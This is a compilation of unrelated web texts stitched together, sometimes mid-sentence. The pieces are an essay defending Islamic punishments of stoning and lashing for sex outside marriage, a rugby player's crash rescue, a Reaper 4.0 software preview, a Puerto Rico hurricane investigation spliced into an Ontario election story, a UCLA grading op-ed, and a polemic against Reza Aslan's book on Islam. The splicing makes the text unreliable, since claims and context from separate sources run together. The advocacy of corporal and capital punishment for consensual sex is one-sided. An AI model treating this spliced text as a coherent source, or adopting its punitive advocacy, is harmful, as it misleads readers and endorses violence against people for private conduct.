All that being said, most people today intuitively understand that cheating on one’s spouse is wrong. Even a large proportion of individuals actively engaged in adultery admit that it is immoral and feel remorse and shame. In other words, the social taboo against adultery is still alive, unlike that of premarital sex. In the language of Islam, people today have not lost touch with that part of the fitra that rails against this particular fahisha. Given that society’s moral intuitions about adultery are still sound in this way, the need for Muslims to defend Islamic law’s prohibition of extramarital affairs is not as pressing as it is for fornication (and liwat, or sodomy).
That being said, there have been recent efforts in Western society to normalize adultery and “swinging,” as “cheating websites” are promoted by national advertising campaigns, shamelessly encouraging married individuals to find a lover (or two…) on the side. If the day comes when even adultery is seen as a harmless, victimless act, then Islamic law, which imposes capital punishment for convicted adulterers, will be in need of further defense by Muslim commentators.
The Modern World — A World of Orphans
Even without the empirical data, logically, all this makes perfect sense. It is reasoning you can understand and accept whether you are Muslim or not. And we can see this logic spelled out in the writings of Muslim jurists through the centuries as well as in the Quran itself. For example, reflect on how much emphasis Allah puts on taking care of orphans in the Quran. The orphan is one who is deprived of the great benefits that children with parents are blessed with. Logically, if orphans are considered so destitute due to not having parents, that implies that parents (are supposed to) provide an enormous, incalculable boon to children by way of nurturing them, educating them, raising them with important values, etc.
But in the modern world, a significant proportion of children are orphans for all intents and purposes because, even though they have living parents, those parents do not want them or their fathers or mothers do not feel obligated to stick around for them, or a single parent has to work full-time forcing the child to be perpetually in the care of strangers and the broken public school system, and so on. According to the CDC, over 40% of children born today in the US are born to single mothers.
The incomparable benefit that parents are supposed to be for their children is simply not there in our modern world. We live in a world of de facto orphans, children with absentee parents who end up being raised by a cold, machine-like state system that processes human beings like so much cattle. Is it any surprise that teens and adults nowadays feel no obligations or affinity towards their parents, and the Islamic injunction to respect and care for one’s parents rings hollow in the minds of many? Is it any surprise to see some of the alarming societal trends — the increase in substance abuse, the dismantling of families, the rise of extreme antisocial behavior including mass shootings — burgeoning all around us? All these phenomena are connected such that messing with something seemingly small and insignificant, like undoing the social taboo against extramarital sex, ultimately causes the entire edifice to collapse.
The Anticlimactic Prophylactic Tactic
Now, the inevitable counter argument to all this is, what about contraception? Hasn’t contraception made traditional norms against premarital sex obsolete?
Well, to begin with, let’s not forget that reducing social problems like crime, drug addiction, unemployment, etc., is only one of the many benefits of refraining from premarital sex. For the purposes of this post, I focus on that particular benefit because it aligns nicely with liberal secular reasoning. The only moral principle that liberal secular reasoning endorses is the Harm Principle, roughly defined as the idea that an act is only considered immoral if it causes harm. In fact, the Harm Principle is often used to argue against Islamic sexual ethics because premarital sex, so long as it is consensual and not incestual, etc., causes no harm to anyone, or so it is argued. But, as we have seen, there is clearly great harm to any potential children and to society at large, since it is everyone in society that has to deal with the eventual impact of premarital sex on crime, unemployment, and all the other societal ills correlated with unwanted pregnancies and single-parent homes.
Appealing to contraception in response to this, then, is meant to undercut our reasoning. If a person can have premarital sex and the possibility of conception is foreclosed, then where is the harm, really?
The answer to this is simple. First of all, who decided that the Harm Principle is the be-all, end-all of morality? If we give a cursory glance at the complex, intricate, and expansive rules, attitudes, injunctions, and nuances that constitute the moral and legal thought of even the most secular of nations and their peoples, we see that there is much that cannot be reduced to the directive: do no harm. Many notable ethical, political, and legal philosophers have concluded as much in evaluating the Harm Principle itself.
But even if, for the sake of argument, we were to accept the Harm Principle as our sole basis for judging sexual relationships as immoral, we would still be able to arrive at — or at least approximate — the norms of Islamic law. This is because “harm” itself is a very general term that can encompass any number of things. As it turns out, harm is a rather subjective concept, and even beyond personal subjectivity, the notion of harm can be very culturally specific in that what one culture sees as harmful, another finds innocuous, and vice versa.
But even if, for the sake of argument, we limit ourselves to modern Western culture, we can still identify a number of clear harms associated with so-called “sexual freedom.” In her book, A Return to Modesty, Wendy Shalit reviews numerous studies showing the debilitating repercussions upon individuals’ psyches, particularly those of young women. She cites bulwark feminists admitting that, “Girls today are much more oppressed [than they were prior to the sexual revolution]. They are coming of age in a more dangerous, sexualized and media-saturated culture.” Another scientific study she cites discovers that sexually active unmarried teenage girls are three times as likely to report that they are depressed. But depression is only part of it — eating disorders, low sense of self-worth, higher suicide rates and various psychological disorders are all positively correlated with premarital sexual activity, especially for females.
On a more conceptual level, Shalit wonders how casual sex, dating, and hooking up could ever be considered good for women. As many world religions and past cultures recognized, to limit men’s access to sex is prime leverage and a unique source of power for women. Why would modern “liberated” women relinquish that power so cheaply by having sex with a man who has shown minimal to no commitment to her (or to any potential children)? Not surprisingly, with the rise of casual sex, marriage rates have plummeted, as men simply see no reason to get married. And the idea that women want sex the same way men do and that they respond to casual sexual encounters in the same way men do has been thoroughly debunked by scientific research that shows how, even neurologically, women are especially harmed by “no strings” sex.
So, on multiple levels, we see that a reasonable case can be made for the Islamic prohibition of zina. And all the while, we have been assuming that access to contraception is effective at reducing unwanted pregnancies. But, in fact, this is a faulty assumption because, if the existence of contraception coupled with widespread sex education were enough to prevent unwanted pregnancies, why has single parenthood continued to rise decade after decade for the past 50 years, such that single-parent households have tripled since the 1960s? Is it that three times as many people in the present day want to raise a child alone and face the monumental financial and emotional burden that that task involves? Not likely.
And finally, I began this post with an analogy about different kinds of certifications and licenses. When you look at airplanes, they have had autopilot for decades — that does not mean pilots do not need to be certified before being able to safely fly a commercial jet! Similarly, the existence of contraception does not annul the need for a person to be licensed (via marriage) in order to safely engage in sex. In both cases, multiple lives are at stake, and, naturally, the greater the stakes, the greater the need for regulation.
The Rationale of the Hudud
Before starting let me just make the disclaimer that my intention here is not to make a political or juristic argument in support of implementing hudud in any present country or community. Furthermore, my intention is not to justify or defend the implementation of hudud as it is practiced in various parts of the Muslim world today. The complex questions of if and how hudud are applicable and operationalizable in a modern nation state generally or in a particular country specifically are best left to qualified legal scholars, theologians, and policy makers.
Separate from the practical considerations of fiqh and siyasa, my concern is purely with the moral dimension of hudud, specifically as it was practiced historically by the Prophet and his Companions. The historical record is clear that the Prophet and his Companions enforced hadd punishments for sexual misconduct: stoning and lashing. Many modern people, whether Muslim or not, are appalled by this and take this as evidence that Muhammad ibn Abdullah was not the Messenger of God and that Islam is not a religion of peace but rather one of barbarity. Given this, it is necessary for Muslims to address what is ultimately a moral concern on hudud. And as it is a moral concern, the best way to address it is not with the hackneyed apologetics about hudud being inapplicable without a legitimate caliphate, etc., but with moral reasoning and argumentation completely separate from the dicey conversation about how different, often superficially Muslim regimes enact hudud within their messy political contexts in the modern world.
The difficulty people today have with the notion of hadd for zina can be broken up into three distinct moral questions.
1. Is premarital and extramarital sex immoral?
2. If so, should that immorality be a matter of criminal justice, i.e., subject to prosecution and penalty by authorities?
3. If so, what is appropriate punishment?
Let’s address these questions in order.
As for the immorality of zina, this is what I have made a case for throughout this post, using reasoning that even proponents of liberal secularism can countenance, if not outright accept.
As for question two, i.e., whether zina should be a matter for policing and the courts, we should acknowledge that premarital sex is very much a public concern. If we accept the immorality of zina, as per question one, and we recognize that zina is certainly not a victimless crime and can have devastating public consequences when practiced on a large scale, then why shouldn’t enforcement and judicial process be on the table? In fact, it would be irrational for us to recognize all the harms associated with zina and then not think that some form of public sanction should be involved to deter destructive behavior, and so on. And, of course, Islamic law has detailed procedures that clarify what this enforcement and judicial process entail, e.g., court structure, evidentiary standards, how to deal with false accusers, sentencing, etc.
Once we agree that zina is immoral and ought to be criminalized, the question remains of what punishment is most in accord with justice. Now, it is helpful to recognize that the question of how criminals should be punished is one that Western ethical and legal philosophers have not come to any consensus on. Different theories speculate as to whether enforcing justice should be punitive, retributive, preventative, expiatory, reformative, etc. Even the question of capital punishment itself is hotly debated to this day.
So, if we have already begun to make a case for why zina ought to be publicly regulated, as per question two, and if all that remains is the question of what form that regulation should take, then a number of options present themselves. Different cultures historically have had various unique methods to punish those who violate norms and break taboos. If we limit ourselves to Western culture and recent history, incarceration is the most widely used punishment (or “rehabilitation”). Recently, however, Peter Moskos, an associate professor at John Jay College of Criminal Justice has written a very persuasive book defending the practice of flogging. In Defense of Flogging deserves to be read in full, but Moskos summarizes the main arguments here. He argues that, while many today believe that corporal punishments such as lashing are “cruel and unusual,” in actuality, the prison system is far more brutal, excessive, and even tortuous. He asks readers whether, given the choice between five years in prison and ten lashes, which would they choose? By asking us this, Moskos forces us to question whether lashing really is as severe as we might first suppose. Overall, Moskos convincingly undermines the conventional view of lashing, and his book has been recognized a “Favorite Book of the Year” by Mother Jones and earned Moskos recognition as one of Atlantic Magazine’s “Brave Thinkers of 2011.”
All in all, we can provide reasoned justification and explanation for hudud when it comes to all three questions. While hudud in response to zina may at first have seemed completely alien and inhumane, upon further reflection it is rendered at least minimally reasonable by way of these considerations. And that was the point of this entire exercise — we wanted to articulate a rationale for the hudud that a modern person could see as reasoned and within the bounds of moral possibility, even if ultimately that person cannot endorse Islamic law himself. In Western universities, for example, a student will study many varieties of legal and moral theories, and while that student may not feel compelled to accept the theories his professors teach him, the student has to admit that those theories are at least worthy of study and that reasonable people can agree to disagree on the applicability and acceptability of them. This is one way Muslims who do endorse Islamic law can speak to their interlocutors about things like hudud without worrying about being taken for irrational, barbaric, mindless, religious zealots. Reasonable people can disagree.
Conclusion
What we have seen is that, even if one is not religious per se, the rational merits of prohibiting premarital sex and adultery are more than evident. And all the sociological evidence supports this.
To summarize, premarital sex is not a victimless crime, as many of us have been led to believe. It is a major crime that most modern nations have allowed to run rampant despite the vast human toll. This in turn affects the crime rate, it affects the percentage of the population that requires government assistance through welfare, unemployment benefits, etc. — in effect, it makes people far more dependent on the state, thus increasing state power exponentially, as tax collectors draw increasing amounts of wealth from the population to foot the bill for these social assistance programs. It is no wonder that modern nation states have shown no interest in upholding the sexual ethics that human societies have depended on for thousands of years.
In sum, we can make a compelling case for why Islamic sexual ethics are rationally and ethically viable compared to the liberal secular alternative. This is not to say that the wisdom (hikma) of avoiding zina can be reduced to the reasoning explicated here or that the applicability of Islamic sexual ethics in an individual’s life depends on rationally working out such arguments. Rather, we want to speak against the notion, entrenched in modern society, that religious sexual norms are simply irrational, primitive taboos. In actuality, we believe that our religion is the best guarantor of human interests broadly and, epistemologically, this fact is accessible to the rational mind upon reflection. At the very least, even if someone does not ultimately agree with all this reasoning, he can admit that it is reasonable. And that is enough to characterize Islam’s sexual ethics concerning zina as rational and not simply prudish, close-minded, backwards, cruel, and all the other cheap adjectives used to denigrate Islamic law vis-a-vis modernity, liberal secularism, etc.
Ultimately, the significance of talking about the rationality of Islamic sexual ethics is that we, as Muslims, can be confident that Islamic norms can be defended specifically from the perspective and in the language of the dominant moral philosophy of our times, i.e., liberal secularism. Unfortunately, many Muslims are not aware of these kinds of arguments and, therefore, take a fideistic attitude towards much of Islamic law, i.e., they accept Islamic norms on faith and little else, implicitly endorsing the modernistic view that these norms are pure “religious taboos” with little rhyme or reason to recommend them to a thinking mind. Against this, various arguments such as the above can be deployed to rationally satisfy Muslims and non-Muslims alike who may not be intellectually convinced of the moral and rational viability of a 1400 year-old religion. Once the mere viability and reasonability of Islam and Islamic law is accepted, then a more fruitful debate can take place regarding the superiority of Islam as an ethical, societal, spiritual system and way of life — guidance for mankind from the Lord of all that exists.NRL star Roger Tuivasa-Sheck has recalled the moment he pulled a man from a car which had ploughed into a house in an alleged drink-driving incident in Sydney.
The Roosters fullback, bound for the Warriors next season, said he was playing a video game when he heard the crash on Banksia Steet in the south-eastern suburb of Botany last night.
Tuivasa-Sheck said he immediately went to the aid of a man in the passenger seat of the red Holden Commodore.
“I thought someone was clowning around but when I heard the bang, I thought ‘something’s wrong’,” Tuivasa-Sheck said.
“It wasn’t spectacular, I just opened the door and gave him a hand.
“He was a bit shaky. He had cuts all over his neck and face.”
The house will undergo a structural assessment today. (9NEWS) ()
Police said a 34-year-old woman drove the vehicle through a t-intersection around 9.20pm before mounting the kerb, smashing through a brick wall and crashing into the home.
The two elderly occupants of the home were uninjured in the incident.
Tuivasa-Sheck said the nephew of one of the home occupants lived on the same street and had become agitated upon hearing the crash.
The footballer downplayed his own role in the incident.
“All I heard was a massive skid and a loud bang,” Tuivasa-Sheck said.
“I helped him out, the cops have done their stuff and I went back in and played my game.”
The woman was arrested at the scene and taken to Mascot Police station where she allegedly registered a blood alcohol reading of 0.73.
Police allege the woman registered a blood alcohol reading of 0.73. (9NEWS) ()
© Nine Digital Pty Ltd 2019Reaper 4.0 has hit prerelease, the latest version of this $40+, lightweight (measured in a handful of megs) DAW for Windows or Mac. The banner feature is called WALTER, “Window Arrangement Logic Template Engine for REAPER.” The idea: you should have your music production screen look the way you want, with elements moved to whatever you like.
Jeffrey James points us to this release and explains that the feature allows you to “design the DAW the way you want it.” For instance, normally Reaper displays meters horizontally. Add a snippet of code telling it that’s not what you want — “set tcp.meter [290 28 12 51 1 0 1 1]” — and you get vertical meters, as seen below. If the idea of hacking your UI sounds unappealing to you, I expect there will be legions of Reaper users posting snippets so you can easily find what you want.
Customization will work per track, globally, in themes, and adjusts appearance, position, size, alignment – the works. You might simply download a theme you like, or hack a particular feature that’s bothering you. For anyone who has said about music software “great, but I wish xx looked like –,” this is the release for you. (I shudder to think how many feature requests for music software looks like that.)
Full explanation and discussion on the Reaper forums
Walter, the SDK has greater technical detail – really cool stuff
WALTER is just one among many small improvements in Reaper 4:
Takes are improved, and it’s now easy to turn takes into comps
A “Project Media / FX Bay” consolidates the elements you use in a project
New tools for time selection, area selection and editing, and mouse modifiers should make editing quicker
A 3D surround panner, combined with multichannel input, output, and monitoring improvements, makes going beyond stereo more flexible, while…
…if you do choose stereo, you get new panning and stereo width
Input FX chains per channel combine audio and MIDI processing into a single bundle of effects
with options for processing and monitoring
— among many other improvements.
The Reaper developers have a pretty transparent approach: each major feature has a message board associated with it on their forum so existing users can discuss and ask questions:
v4: Prerelease overview
Note that this is pre-release software and not a public beta test – simply a view of what may be in store for a future release. (In the meantime, there’s plenty to keep you busy with the current Reaper version, which is what I’ll be using.)
Or check out the full changelog:
v4: Everything else
Let us know what you find in the new release, Reaper users. (Also, selfishly, I’m curious about running Reaper in WINE on Linux, if anyone else is doing that.)By Patricia Mazzei And Omaya Sosa Pascual
Before Hurricane Maria tore through the rest of this island, it came to Mayor Jorge Márquez's home.
The storm ripped through improvised plastic shutters, shook the windows and sent his panicked family, including his grandchildren, scurrying to a bathroom to hide. For four hours, as the fiercest of Maria's winds roared through his mountain town in southeast Puerto Rico, Márquez kept the wind from forcing itself in by pushing a dining table hard against the front door.
At the end, when the winds finally died down, he stepped outside to glimpse at the damage to the town he's run for nearly two decades. Tattered roofs littered the ground. Snapped trees mangled power lines. The local hospital was lost. The town's funeral home was gone.
Márquez wept.
The easy part of the storm was over. The real agony had yet to begin.
"Everything we've built over 16 years, destroyed in a single day," he said Tuesday, pausing to fight back fresh tears.
A month has passed since Maria ravaged Puerto Rico, and the island continues to operate in emergency mode, struggling to do even the basics: save lives, protect property, provide drinking water, turn on the lights. Time ticks away in a hazy state of permanent disaster, a catastrophe born from the worst storm to cross Puerto Rico in 85 years -- and of a slow recovery by the federal, state and local governments.
The blame for the unsatisfactory response, the Miami Herald and Puerto Rico's Center for Investigative Journalism found, lies with bureaucracies that were unprepared for a collapsed communications system and overwhelmed by the logistical challenges of aiding an island left with no corner unharmed. Even the White House appeared indifferent to the needs of 3.4 million American citizens 1,000 miles from its shores.
Above all, strapped finances that plunged the island into an economic tailspin long before any winds arrived left the state government so thinly stretched it could not maintain its power grid or afford extensive preparations for a monster storm -- much less pay for the sort of recovery that would be demanded in the mainland U.S.
Forty-eight people died, though that's likely a significant undercount.
Much remains to be learned about the recovery flaws Maria exposed. But disaster managers already know the historic storm -- which has required more FEMA food and water distribution than any other disaster -- will force them to rethink how they approach a worst-case scenario that ordinary plans were ill-equipped to deal with in the systemic breakdown that followed landfall.
"If this response had been perfect, you still would have very significant suffering and destruction, no matter what, because of the storm," said U.S. Sen. Marco Rubio, a Florida Republican who pushed early on for more military involvement. "But I do think some days were lost."
STRING OF CALAMITIES
The urgent call to Gov. Ricardo Rosselló, whose cell phone signal had vanished, came a few hours after the strongest Maria winds had passed on Sept. 20. Carlos Mercader, executive director of Puerto Rico's federal office in Washington, got through to a working landline at the governor's mansion in Old San Juan.
Mercader had news for the governor, obtained from a friend's WhatsApp message: Waters were rising fast in Levittown, a suburb west of San Juan, and people were scrambling to their roofs. The governor's press secretary checked social media and saw a local news reporter had just posted a similar message about the flooding, about a dozen of miles away.
Out rushed the governor with rescue crews, including power line workers with bucket trucks.
"We were there until early morning," Rosselló told the Herald and the Center for Investigative Journalism (CPI, for its initials in Spanish) in an interview, recalling the first in a string of calamities that started to pile up: a rupture at the Guajataca Dam. A power blackout across 70 percent of the island's 69 hospitals. A fuel shortage. A shutdown of airports and seaports for three days.
"This is a fluid situation that, if left unattended, could get worse," the 38-year-old governor, who took office in January, said after nearly four weeks of living in extended crisis.
Rosselló's public safety chief, Héctor Pesquera, had been unable to drive out of his house after the storm because his street was littered with trees. Pesquera, a former head of Miami's FBI office, said he grabbed his briefcase and set out on foot with a flashlight in his mouth, dodging hanging branches.
The emergency operations center in Caguas, south of San Juan, had flooded and become unusable, Pesquera said. He reached a cop by phone who could give him a lift to San Juan's convention center, which instantly became the government's command headquarters. The drive to the convention center, usually 10 minutes long, took an hour.
Ricardo Ramos, chief executive of the Puerto Rico Electric Power Authority, PREPA, watched from the public utility's headquarters in Miramar as Maria's onslaught knocked out the island's entire power grid. Then, the storm took out the utility's computer servers, leaving the man in charge of keeping on the lights entirely in the dark.
"I didn't have Word or email or Excel or anything," he said. "Our emergency generator failed. Our technician offices lost their computers and flooded. The offices are now full of mice."
A PREPA plant in the western city of Arecibo, near where Maria's eye left the island, experienced so much flooding that employees had to climb to the chimney for safety, he said. After the storm, Ramos sent a helicopter to fly over other destroyed facilities, looking for workers to come out and wave to signal they were OK.
The local Federal Emergency Management Administration chief, Alejandro De La Campa, had bedded down -- along with some 300 FEMA workers still responding to Hurricane Irma -- at a Caguas warehouse. It was restocked with the standard number of provisions FEMA stored ahead of any storm, no matter its size: about 700,000 liters of water and half a million meals.
They proved to be woefully insufficient: The supplies ran out in two days.
Puerto Rico had never needed a larger emergency stash. Not much more fit in the warehouse, De La Campa told the Herald/CPI, acknowledging that a bigger building -- perhaps twice as large -- might now be necessary.
The only reason Hurricane Irma two weeks earlier hadn't depleted the stores, he added, was because that storm skirted Puerto Rico and mostly hurt the island's northern coast -- meaning southern municipalities could aid their neighbors without tapping all the federal provisions.
Maria offered no such respite, affecting all of the island's 78 municipalities and leaving the government without an intact oasis from where to stage its response.
'CALL ME PARANOID'
Puerto Rico opened 500 emergency shelters ahead of Maria, a record number that didn't draw many evacuees until the rains actually started and people seemed to accept the storm might really be as bad as forecast. Afterward, evacuees kept seeking shelter; at their peak, the number reached 15,000.
"They might call me paranoid," Rosselló said. "I anticipated this could happen, and seven days before the storm, we started working on it."
But he was still hamstrung by Puerto Rico's measly coffers: Expenses incurred before the White House approved a Sept. 20 major disaster declaration had to be paid in full by the state, which is $72 billion in debt and under the control of a federally appointed fiscal board.
So asking other states for help before Maria, which might have lined up resources for Puerto Rico more quickly, would have been an expensive undertaking without knowing for sure what havoc the storm would wreak.
In contrast, six days before Irma hit Florida, the state filed its first request through the Emergency Mutual Aid Compact available to states and territories. Florida ultimately made 99 requests before landfall.
The number of requests Puerto Rico made before Maria: Zero.
PREPA, the bankrupt power utility, which is $9 billion in debt and locked in a court battle with its bondholders, could also have requested aid after Maria hit through the American Public Power Association, a mutual aid trade network for some 1,100 electrical utilities, as Texas and Florida did after Hurricanes Harvey and Irma. That's partly how, 10 days after Irma, Florida utilities restored power to 98 percent of the 6.7 million customers who had gone dark.
But PREPA didn't tap the aid network.
Instead, Ramos chose to hire one of two companies that had answered PREPA's request for proposals for far less restoration work after Irma, but had not yet been hired: Whitefish Energy Holdings, a small, little-known Montana firm formed only two years ago.
The other bidder, which Ramos declined to name, had demanded a $25 million payment guarantee up front, Ramos said. PREPA's emergency fund had only $100 million, which Ramos feared would be quickly exhausted if he hired another public utility to assist with repairs.
PREPA "doesn't have the cash to cover all the expenses," Ramos said. "I'd have to pay it to later seek reimbursement. It's a cash-flow problem."
The New York Power Authority did send crews the day after the storm after Puerto Rico asked New York directly for help. Whitefish later contracted with Jacksonville's JEA public utility and the Kissimmee Utility Authority to provide additional line workers.
PREPA also hired 60 local contractors, Ramos said, but still didn't have enough line workers or utility trucks -- and couldn't immediately welcome more, either: The government had no gas for trucks and no food or housing for crews.
That Puerto Rico's power grid was in precarious shape was well known. Seventy percent of PREPA customers lost power during Irma, though nearly 97 percent had been restored by the time Maria arrived two weeks later. But the newest equipment in the system is from the 1970s, Ramos said, with much of it dating back to the 1950s and '60s, though its useful life is supposed to be 30 years. Over the last three years, the utility has lost more than two-thirds of its workers -- about 2,500 people, Ramos said -- as public austerity measures forced PREPA to slash benefits.
How fragile the grid remains was evidenced by the fluctuating number of Puerto Ricans who have electricity. Last Sunday, a San Juan substation temporarily failed, knocking out restored electricity in the capital's main hospital.
A month after Maria, 81 percent of PREPA customers are still without power.
COMMUNICATIONS BLACKOUT
The early response centered on saving lives. FEMA provided 16 urban search-and-rescue teams. Pesquera dispatched police, firefighters and paramedics as anecdotes came in via word of mouth of flash flooding, mudslides and injuries. In Cataño. Toa Baja. Canóvanas. Ramos, the PREPA chief, ordered his crews to help people before power lines.
No one in government had a full picture of how dire things were. Before requesting |
proposals and compare records,” he said Wednesday, emphasizing it is Hudak’s service as a Harris and Eves cabinet minister that is relevant, not his wife’s role in those administrations. But earlier in the day, a more circumspect McGuinty pointedly refused to rule out making Hutton campaign fodder. “I focus on the high road. That’s who I am, that’s what I’m all about,” the premier said in Ottawa.
When queried about whether any advisers had suggested to him that Hutton should be dragged into a negative campaign, he replied: “I am not going to speculate on that question.” “If you want to know what I am going to do, take a look at what I have done in the past,” said McGuinty.
Article Continued Below
At Queen’s Park, a visibly upset Hudak said the premier should be “absolutely clear that he in no way will condone or support attacks on my wife.” “There would be no way in hell that I would allow somebody in my campaign to attack somebody else’s spouse. That is way across the line,” the Tory leader told reporters. The leaked Liberal document also outlines a strategy for tackling NDP Leader Andrea Horwath, whose party is derided as being “inexperienced, pious, self-righteous” with “unrealistic expectations” and “will throw money at problems” if elected next year. Another illuminating revelation in the nine-page memo is what the Liberals are bracing for from the Tories and the New Democrats. They fear they will be castigated by both opposition campaigns as “incompetent, arrogant, out of touch, wasteful, tired, scandal-ridden, liars... in the pocket of consultants.” As a “counterbalance” to such expected name-calling, the Liberals plan to warn that a Tory government would “turn back (the) clock on positive progress” and “make reckless cuts,” including scrapping the Ontario Human Rights Tribunal. A vote for the NDP, in contrast, would merely help Hudak’s party by defeating Liberal MPPs because Horwath “will never get elected,” the memo says. Polls suggest the Oct. 6, 2011 election could be a lively contest. In the most recent Toronto Star-Angus Reid survey, Hudak led with 41 per cent compared to 29 per cent for McGuinty, 22 per cent for NDP Leader Andrea Horwath, and 8 per cent for Green Party Leader Mike Schreiner. Despite the daunting challenge, Sorbara said the Liberals will do more than just compare and contrast McGuinty with Hudak. The campaign chair said the Grits plan to highlight their many achievements in health care and education since being elected in 2003. “I’m not going to tolerate a campaign that is driven by negative advertising. It will not happen.”
Read more about:At UCLA, for whom the bell curve tolls depends on the professor and not much else.
The bell curve, a statistical measure of grading, assesses students’ academic performance relative to other students in the class. This method of grading involves distributing grades along a bell-shaped curve, ensuring a small, top percentage of students get A’s, the majority middle tier gets B’s and C’s and the remaining few inevitably get D’s and F’s. This contrasts with the absolute scale model, in which any grade above 90 percent is an A, 80 percent is a B and so on.
While the bell curve form of grading can be helpful in comparing student performance, it only assesses how well students understand the material relative to their peers and not necessarily how well they understand the material overall. This defeats the purpose of learning for the sake of learning, but a good number of UCLA professors still use a bell curve model to grade their classes.
Instead, professors should use an absolute scale to grade their courses with no predetermined percentile cutoffs for letter grades. This would mean students would get the grade they earn, instead of being judged based on their classmates’ performance. Of course, professors would still need to adjust grades by the average score if raw exam scores are too low for them to give any students passing grades under an absolute scale. Doing so would incentivize students to learn the material without feeling like an A or B is beyond their reach.
In some circumstances, the bell curve can be downright unfair – something Anshul Aggarwal, a third-year computer science and engineering student, knows all too well.
In Aggarwal’s Computer Science M152A: “Introductory Digital Design Laboratory” class only 10 percent of students get A’s. The problem? If only 10 percent of the 30 students in the lab can get A’s, only three students can get an A, regardless of the other students’ raw scores. Under these circumstances, a 95 percent raw score would only earn the student a B or B- at best.
Even in classrooms with a good deal more than 30 students, such grading limits students’ potentials. Michael Tsiang, a statistics lecturer, said he believes grading must accommodate the different types of students in the university.
“It doesn’t make sense to compare people who walk in already knowing the material with those who have never seen it before and have math anxiety,” he said. “It’s an unfair comparison.”
Tsiang said he does not use predetermined percentile cutoffs in his grading system, which he added is the way he himself would like to learn.
“If the course is well-designed, then if you focus on the learning, the grade will come,” he said. “If you master the material, you should get an A.”
Proponents of the bell curve grading system might say it encourages students to compete against each other, ensuring the top students get rewarded. However, putting stringent percentage caps on the number of A’s and B’s in a class pits students against each other and can discourage students from collaborating.
To this end, Kim Aquino, a second-year environmental science major, said she thinks bell curves instead drive students to seek help by any means necessary.
The reality is students face a wide variety of circumstances a bell curve cannot completely account for. Students who may have taken the Advanced Placement or International Baccalaureate version of a course in high school will have an edge. And then there are students who do not have access to textbooks and tutoring, as well as those struggling with personal issues. While it is impossible for professors to take into account every student’s individual experience, an absolute scale would help disadvantaged students get a fair shot at receiving an A.
Of course, neither version of grading is invariably right. But the fact remains that students with advantages sway the curve much more in a class of 50 than in a class of 200. And this is a major downside of the bell curve model.
As such, professors should implement a flexible absolute curve model with less stringent percentage caps on the grades assigned. This would provide a more accurate picture of student performance and could make exam grading more fair. When professors make exams too difficult, the curve can make up for it. An absolute grading model would still do this, but without the disheartening percentage cutoffs.
Tsiang said he does not necessarily think there is one right way to grade but said his method of grading has worked for him, and his students told him the exams reflect their understanding of the material.
On whether or not to grade on the bell curve, the Office of Instructional Development emphasizes the importance of considering the desired atmosphere in the classroom, saying that grading based on peer ranking can create hostility among students while an absolute scale can encourage them to collaborate. While choice of grading method is left to the professors, the University of California’s Academic Senate regulations state that grades should be based solely on an evaluation of the student’s achievement of the course goals.
No two students have the same academic or personal background. Instead of defaulting to the bell curve, professors should first take into consideration class size and subject matter, especially in science, technology, engineering and mathematics courses in which prior exposure to the material can vary widely between students.
Curving down does not assess students’ abilities to learn. Rather, it measures students’ ability to outperform each other – turning a supposedly helpful curve into nothing more than a cliff.Fantasy Islam: A game in which an audience of non-Muslims wish with all their hearts that Islam was a “Religion of Peace,” and a Muslim strives to fulfill that wish by presenting a personal version of Islam that has little foundation in Islamic Doctrine.
As I have mentioned before, "Fantasy Islam" is a popular game among many non-Muslims and so-called “moderate” or “reformist” Muslims. Reza Aslan appears to be such a Muslim.
Reza Aslan was born in Iran. In 1979, at the age of seven, he and his family fled the Iranian Revolution and came to the United States. At the age of 15 he converted to evangelical Christianity, but later returned to Islam. His website states that he is “an internationally acclaimed writer and scholar of religions.” He is currently a Professor of Creative Writing at the University of California, Riverside.
In 2005 Aslan wrote a book titled No god but God: The Origins, Evolution, and Future of Islam. The updated edition came out in 2011. This article addresses that updated edition.
It should be noted that in his book Aslan listed The Life of Muhammad and the multi-volume work The History of al-Tabari, as among the books he “consulted.” These are classical works by Muslim scholars and major sources for information about Muhammad and Islam. Aslan even specifically mentions them as among those that have “catalogued” the story of Islam (p. xxiv). Unfortunately, although Aslan claims that he “consulted” them, we will see that he apparently overlooked conflicting information in these works in favor of playing Fantasy Islam.
Death Penalty for Apostasy is “Un-Quranic”
On p. 121 Aslan stated that the death penalty for apostasy was “un-Quranic,” and he stated that nowhere in the Koran “is any earthly punishment prescribed for apostasy.”
The only problem for Aslan is that in 4:89 of the Koran Allah commands Muslims to take hold of those apostates who have left Islam and “kill them wherever you find them.” So the death penalty for apostasy from Islam is in the Koran.
In addition, Muhammad said that death was the penalty for a Muslim who left Islam (e.g. Sahih Al-Bukhari, Nos. 6878 and 6923; and Sahih Muslim, No. 1676). And Muhammad even specified the nature of that death:
If someone changes his religion - then strike off his head!
Al-Muwatta of Imam Malik ibn Anas, 36.18.15, in a section titled “Judgement on Abandonment of Islam.”
No Foundation in the Koran for Stoning
On p. 71 Aslan wrote about the “misogynistic tendencies” of Umar, the second Caliph, and how Umar
instituted a series of severe penal ordinances aimed primarily at women. Chief among these was the stoning to death of adulterers, a punishment which has absolutely no foundation whatsoever in the Quran but which Umar justified by claiming it had originally been part of the Revelation and had somehow been left out of the authorized text. Of course, Umar never explained how it was possible for a verse such as this “accidentally” to have been left out of the Divine Revelation of God[.]
It is a common play in Fantasy Islam to claim that stoning is not a part of Islam because it is not in the Koran, so let’s take a look at this claim.
In the first place, it is correct to state that the Koran says nothing about stoning. The original punishment for adultery in the Koran (4:15) focused on women and confining them to their houses until they died; but there was a key provision at the end of this verse: “or Allah ordains for them some (other) way.”
Muhammad later received a “revelation” from Allah explaining that “other way”:
'Ubada b. As-Samit reported: Allah's Messenger (SAW) saying: Receive (teaching) from me, receive (teaching) from me. Allah has ordained a way for those (women). When an unmarried male commits adultery with an unmarried female (they should receive) one hundred lashes and banishment for one year. And in case of married male committing adultery with a married female, they shall receive one hundred lashes and be stoned to death.
Sahih Muslim, No. 1690
So now, instead of confinement, the punishment for adultery would be lashing and stoning. The punishment of lashing was codified in 24:2 of the Koran. Muhammad considered stoning as the appropriate penalty for adultery up to his death. He ordered many an adulterer to be stoned, as did his successors.
Umar did make the claim that the Verse of Stoning had been left out when the Koran was compiled (e.g. Sahih Al-Bukhari, No. 6830). But when the Koran was being compiled Umar had tried to get it included. However, the standard for including a “revelation” as a verse was that it had to be certified by two witnesses, and there appeared to be only one witness: Umar.
But in reality there was a second witness, Muhammad’s favorite wife Aisha:
